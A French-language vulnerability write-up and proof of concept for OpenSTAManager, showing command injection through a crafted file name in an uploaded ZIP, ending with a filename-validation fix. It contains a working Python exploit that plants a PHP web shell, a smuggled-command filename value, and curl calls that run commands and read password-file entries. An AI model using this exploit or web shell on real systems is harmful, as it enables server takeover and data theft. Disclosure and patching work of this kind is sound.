---

---

Explication de l'exploit

1. Stocke une commande shell dans la variable cmd (qui crée un fichier nommé SHELL.php contenant du code PHP capable d'exécuter des commandes).
2. Construit un nom de fichier spécialement conçu pour masquer la commande issue de la variable cmd et l'enregistre dans la variable malicious_file.
3. Crée un nouveau fichier ZIP nommé exploit.zip et l'ouvre en écriture.
4. Ajoute un fichier au ZIP. Son nom de fichier est la variable malicious_file.
5. Le nom de fichier malveillant est injecté dans la commande exec().

---

PoC (Proof of Concept)

1. Créer le fichier zip à injecter

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Exécuter le fichier & téléverser

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip

3. Résultat de l'exploit

L'analyse XML échoue après l'exécution de la commande

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Vérification & exécution de code à distance

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin

---

Mène à...

Attaque	Détail
Exécution de code à distance	Compromission totale du serveur avec exécution de commandes
Exfiltration de données	Accès à toutes les données de l'application et à la base de données
Élévation de privilèges	Élévation potentielle si le serveur web s'exécute avec des privilèges élevés ou est vulnérable
Persistance	Installer des portes dérobées et maintenir l'accès dans le temps
Mouvement latéral	Pivot vers d'autres systèmes/utilisateurs sur le réseau

---

Correctif

**un correctif simple consiste à valider les noms de fichiers avant le traitement (n'autoriser que les caractères alphanumériques, les points, les tirets et les underscores pour ignorer les noms de fichiers invalides)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(ou vous pouvez simplement mettre à jour lol)